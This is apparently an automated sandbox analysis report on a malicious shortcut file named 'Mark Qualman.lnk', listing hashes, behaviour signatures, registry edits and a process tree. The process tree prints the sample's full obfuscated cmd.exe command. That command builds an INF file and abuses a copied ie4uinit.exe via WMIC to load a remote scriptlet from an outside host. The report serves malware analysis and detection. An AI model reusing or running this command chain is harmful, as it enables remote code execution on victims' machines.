Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
23-08-2024 05:27
Static task
static1
Behavioral task
behavioral1
Sample
Mark Qualman.lnk
Resource
win7-20240704-en
windows7-x64
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
Mark Qualman.lnk
Resource
win10v2004-20240802-en
windows10-2004-x64
9 signatures
150 seconds
General
-
Target
Mark Qualman.lnk
-
Size
5KB
-
MD5
4a792636a97df1ddec0d4e54272ca177
-
SHA1
038ef3af740407c9514b28e7aa8524bcf84b9bed
-
SHA256
f115187143a80b062a4844dbd462ed183e374263eeea874780eb65775991da22
-
SHA512
3beb9b7608a93757913cd7f31614f5cbdd9a0a6c7bb9ad9fa70cb7d498b8479f89bf46217f7ad70eb731ef933f627cc3e33599d275396ca69eda3b9e714909b7
-
SSDEEP
96:8u5XtaRd9qmN5yYLhTrrfhbFKyVmZXj5kpYZuBPSk:8Mad9qm7yurdbFxaj5kpXF
Score
7/10
Malware Config
Signatures
-
Executes dropped EXE 2 IoCs
pid Process 2892 ie4uinit.exe 2628 ie4uinit.exe -
Loads dropped DLL 3 IoCs
pid Process 2900 Process not Found 2892 ie4uinit.exe 1240 Process not Found -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files (x86)\Internet Explorer\Signup\TMP4352$.TMP ie4uinit.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\INF\setupapi.app.log ie4uinit.exe File opened for modification C:\Windows\security\logs\scecomp.log ie4uinit.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\14\IEPropFontName = "Kalinga" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\22\IEPropFontName = "Sylfaen" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\4\IEPropFontName = "Times New Roman" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\7 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\13\IEPropFontName = "Shruti" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\17\IEPropFontName = "Tunga" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\23 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\26 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\7\IEPropFontName = "Sylfaen" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\12\IEPropFontName = "Raavi" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\10 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\35\IEPropFontName = "Estrangelo Edessa" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\36 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\6\IEFixedFontName = "Courier New" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\14 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\21\IEPropFontName = "Microsoft Himalaya" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\10\IEFixedFontName = "Mangal" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\12 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\32 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\34\IEFixedFontName = "Iskoola Pota" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\32\IEFixedFontName = "Segoe UI Symbol" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\InternetRegistry ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\3 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\5\IEPropFontName = "Times New Roman" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\36\IEPropFontName = "Myanmar Text" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\439b81fe_0 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\4 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\31\IEPropFontName = "Segoe UI Symbol" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\36\IEFixedFontName = "Myanmar Text" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\29 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\32\IEPropFontName = "Segoe UI Symbol" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\38\IEPropFontName = "MV Boli" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\24\IEFixedFontName = "MS Gothic" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\27\IEPropFontName = "Nyala" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\6 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\20\IEPropFontName = "DokChampa" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\28 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\5 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\18\IEPropFontName = "Kartika" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\38 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\18 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\21\IEFixedFontName = "Microsoft Himalaya" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\23\IEPropFontName = "Gulim" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\27 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Zoom ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\3\IEPropFontName = "Times New Roman" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\13 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\3\IEFixedFontName = "Courier New" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\25\IEFixedFontName = "MingLiu" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\35\IEFixedFontName = "Estrangelo Edessa" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\22\IEFixedFontName = "Sylfaen" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\30 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\38\IEFixedFontName = "MV Boli" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\31 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\31\IEFixedFontName = "Segoe UI Symbol" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\34 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\International\Scripts\39 ie4uinit.exe Set value (int) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\SQM\InstallDate = "1724390830" ie4uinit.exe -
Suspicious use of AdjustPrivilegeToken 47 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2868 WMIC.exe Token: SeSecurityPrivilege 2868 WMIC.exe Token: SeTakeOwnershipPrivilege 2868 WMIC.exe Token: SeLoadDriverPrivilege 2868 WMIC.exe Token: SeSystemProfilePrivilege 2868 WMIC.exe Token: SeSystemtimePrivilege 2868 WMIC.exe Token: SeProfSingleProcessPrivilege 2868 WMIC.exe Token: SeIncBasePriorityPrivilege 2868 WMIC.exe Token: SeCreatePagefilePrivilege 2868 WMIC.exe Token: SeBackupPrivilege 2868 WMIC.exe Token: SeRestorePrivilege 2868 WMIC.exe Token: SeShutdownPrivilege 2868 WMIC.exe Token: SeDebugPrivilege 2868 WMIC.exe Token: SeSystemEnvironmentPrivilege 2868 WMIC.exe Token: SeRemoteShutdownPrivilege 2868 WMIC.exe Token: SeUndockPrivilege 2868 WMIC.exe Token: SeManageVolumePrivilege 2868 WMIC.exe Token: 33 2868 WMIC.exe Token: 34 2868 WMIC.exe Token: 35 2868 WMIC.exe Token: SeIncreaseQuotaPrivilege 2868 WMIC.exe Token: SeSecurityPrivilege 2868 WMIC.exe Token: SeTakeOwnershipPrivilege 2868 WMIC.exe Token: SeLoadDriverPrivilege 2868 WMIC.exe Token: SeSystemProfilePrivilege 2868 WMIC.exe Token: SeSystemtimePrivilege 2868 WMIC.exe Token: SeProfSingleProcessPrivilege 2868 WMIC.exe Token: SeIncBasePriorityPrivilege 2868 WMIC.exe Token: SeCreatePagefilePrivilege 2868 WMIC.exe Token: SeBackupPrivilege 2868 WMIC.exe Token: SeRestorePrivilege 2868 WMIC.exe Token: SeShutdownPrivilege 2868 WMIC.exe Token: SeDebugPrivilege 2868 WMIC.exe Token: SeSystemEnvironmentPrivilege 2868 WMIC.exe Token: SeRemoteShutdownPrivilege 2868 WMIC.exe Token: SeUndockPrivilege 2868 WMIC.exe Token: SeManageVolumePrivilege 2868 WMIC.exe Token: 33 2868 WMIC.exe Token: 34 2868 WMIC.exe Token: 35 2868 WMIC.exe Token: SeRestorePrivilege 2892 ie4uinit.exe Token: SeRestorePrivilege 2892 ie4uinit.exe Token: SeRestorePrivilege 2892 ie4uinit.exe Token: SeRestorePrivilege 2892 ie4uinit.exe Token: SeRestorePrivilege 2892 ie4uinit.exe Token: SeRestorePrivilege 2892 ie4uinit.exe Token: SeRestorePrivilege 2892 ie4uinit.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 2688 wrote to memory of 2280 2688 cmd.exe 31 PID 2688 wrote to memory of 2280 2688 cmd.exe 31 PID 2688 wrote to memory of 2280 2688 cmd.exe 31 PID 2280 wrote to memory of 580 2280 cmd.exe 32 PID 2280 wrote to memory of 580 2280 cmd.exe 32 PID 2280 wrote to memory of 580 2280 cmd.exe 32 PID 2280 wrote to memory of 2716 2280 cmd.exe 33 PID 2280 wrote to memory of 2716 2280 cmd.exe 33 PID 2280 wrote to memory of 2716 2280 cmd.exe 33 PID 580 wrote to memory of 3016 580 cmd.exe 34 PID 580 wrote to memory of 3016 580 cmd.exe 34 PID 580 wrote to memory of 3016 580 cmd.exe 34 PID 2280 wrote to memory of 2872 2280 cmd.exe 35 PID 2280 wrote to memory of 2872 2280 cmd.exe 35 PID 2280 wrote to memory of 2872 2280 cmd.exe 35 PID 2280 wrote to memory of 2860 2280 cmd.exe 36 PID 2280 wrote to memory of 2860 2280 cmd.exe 36 PID 2280 wrote to memory of 2860 2280 cmd.exe 36 PID 2872 wrote to memory of 2868 2872 cmd.exe 37 PID 2872 wrote to memory of 2868 2872 cmd.exe 37 PID 2872 wrote to memory of 2868 2872 cmd.exe 37 PID 2892 wrote to memory of 2628 2892 ie4uinit.exe 41 PID 2892 wrote to memory of 2628 2892 ie4uinit.exe 41 PID 2892 wrote to memory of 2628 2892 ie4uinit.exe 41
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Mark Qualman.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v /c (for %u in (s) do @set "Assets=%~u") && (for %q in (a) do @!Assets!et "Totals=%~q") && !Assets!et "Improvements=default" && (for %d in (c) do @!Assets!et "Someone=%~d") && !Assets!et "Occasions=d" && !Assets!et "Facts=si" && !Assets!et "Scholars=version" && !Assets!et "Appliances=settings" && !Assets!et "Proceeds=t" && !Assets!et "Truly=ure = " && !Assets!et "Belongs=ni" && !Assets!et "Arrow=e" && !Assets!et "Tattoo=$win" && !Assets!et "Moderators=." && !Assets!et "Plastics=a" && !Assets!et "Traditions=!Moderators!inf" && !Assets!et "Barrel=ieui!Belongs!t!Traditions!" && c!Plastics!ll !Assets!et "Cleaners=%!Totals!ppd!Plastics!ta%\micro!Assets!oft\" && s!Arrow!t "Officers=!Cleaners!!Barrel!" && (for %u in ("[!Scholars!]" "signat!Truly!!Tattoo!dows nt$" "[7E55D7]" "ieu%Quantities%!Traditions!" "[!Occasions!e!Assets!tinationdirs]" "!Improvements!destdir=11" "7E55D7=01" "[BCB]" "sc\" "ro%Weights%j,NI,%Umbrella%%Situate%%Situate%p%Racks%%Otherwise%%Otherwise%oshof!Moderators!markqualman!Moderators!%Produce%/jlghiht" "[s!Proceeds!ring!Assets!]" "Otherwise=/" "!Assets!ervicen!Totals!me=' '" "!Assets!hortsvcn!Totals!me=' '" "Umbrella=h" "Order=%time%" "Situate=t;Pencil" "Racks=:;Bones" "Quantities=i!Belongs!t" "Produce=com" "Weights=b;Unaware" "[!Improvements!in!Assets!tall.windows7]" "!Occasions!elfil!Arrow!s=7E55D7" "Un\" "Register\" "OCXs=BCB" ) do @e!Someone!ho %~u)>"!Officers!" && !Assets!et "Refers=ie4ui!Belongs!t.!Arrow!xe" && !Someone!all x!Someone!opy /Y /C /Q %win!Occasions!ir%\!Assets!ys!Proceeds!!Arrow!m32\!Refers! "!Cleaners!*" | !Assets!et Receivers04=Naive && !Assets!t!Totals!rt "" wmi!Someone! proce!Assets!s call !Someone!rea!Proceeds!e "!Cleaners!!Refers! -base!Appliances!" | !Assets!et "Receivers58=Stands Claim River Solid Twist Condos Meadow Cheers Weasel Luggage Gross Tanks Acquisitions Taste Gesture Version Referrals Fears Cameras Obtain Bullet Managers Medal Spots Commissions Dimensions Strips Checks Swarm Praise Increase Jeans Power Plants Colours Signs Possibilities Consensus Marine Investors Poverty Science"2⤵
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" call xcopy /Y /C /Q %windir%\system32\ie4uinit.exe "C:\Users\Admin\AppData\Roaming\microsoft\*" "3⤵
- Suspicious use of WriteProcessMemory
PID:580 -
C:\Windows\system32\xcopy.exexcopy /Y /C /Q C:\Windows\system32\ie4uinit.exe "C:\Users\Admin\AppData\Roaming\microsoft\*"4⤵PID:3016
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set Receivers04=Naive "3⤵PID:2716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" start "" wmic process call create "C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe -basesettings" "3⤵
- Suspicious use of WriteProcessMemory
PID:2872 -
C:\Windows\System32\Wbem\WMIC.exewmic process call create "C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe -basesettings"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2868
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set "Receivers58=Stands Claim River Solid Twist Condos Meadow Cheers Weasel Luggage Gross Tanks Acquisitions Taste Gesture Version Referrals Fears Cameras Obtain Bullet Managers Medal Spots Commissions Dimensions Strips Checks Swarm Praise Increase Jeans Power Plants Colours Signs Possibilities Consensus Marine Investors Poverty Science""3⤵PID:2860
-
-
-
C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exeC:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe -basesettings1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exeC:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe -ClearIconCache2⤵
- Executes dropped EXE
PID:2628
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
226B
MD5ad93eaac4ac4a095f8828f14790c1f8c
SHA1f84f24c4ca9d04485a0005770e3ef1ca30eede55
SHA256729111c923821a7ad0bb23d1a1dea03edbf503cd8b732e2d7eb36cf88eaa0cac
SHA512f561b98836233849c016227a3366fcf8449db662f21aecd4bd45eb988f6316212685ce7ce6e0461fb2604f664ed03a7847a237800d3cdca8ba23a41a49f68769
-
Filesize
482B
MD51b43723805198519577fdea0d9855ad7
SHA153cc83793d6a293f7465b69eaa3b3e369a5c43ec
SHA2561932c95c64c3db6ad2d3355c47eb0c48aaca6cc220ceeeb39775dc0606fbeb88
SHA5127743d340903626fc946fc5d980b5011b892b6582c2f97fffe290a07fef2c8785989ccedcf4cb864602ff377f21cf6a81e1046920e07e430762a93eb158ef77e5
-
Filesize
134B
MD5873c8643cbbfb8ff63731bc25ac9b18c
SHA1043cbc1b31b9988d8041c3d01f71ce3393911f69
SHA256c4ad21379c11da7943c605eadb22f6fc6f54b49783466f8c1f3ad371eb167466
SHA512356b13b22b7b1717ded0ae1272b07f1839184e839132f3ab891b5d84421e375d4fc45158c291b46a933254f463c52d92574ce6b15c1402dfb00ee5d0a74c9943
-
Filesize
213KB
MD505018a4e76f1636efbb7dcb76900872a
SHA1347c1802b5e28998b0db7d6ba51846a707574abb
SHA256bb2af4a415e1bfad250c99b5df20b46090cc9db1387381648b7d0818792d2fce
SHA5127ca7e05f277c58176080db24bc34e3d2491a1495dc19511dae24a95f558c8e420b02270590730d7c7fccf7d65cfbdf40bc1de12d3ce6b8b8655def2a285b9f94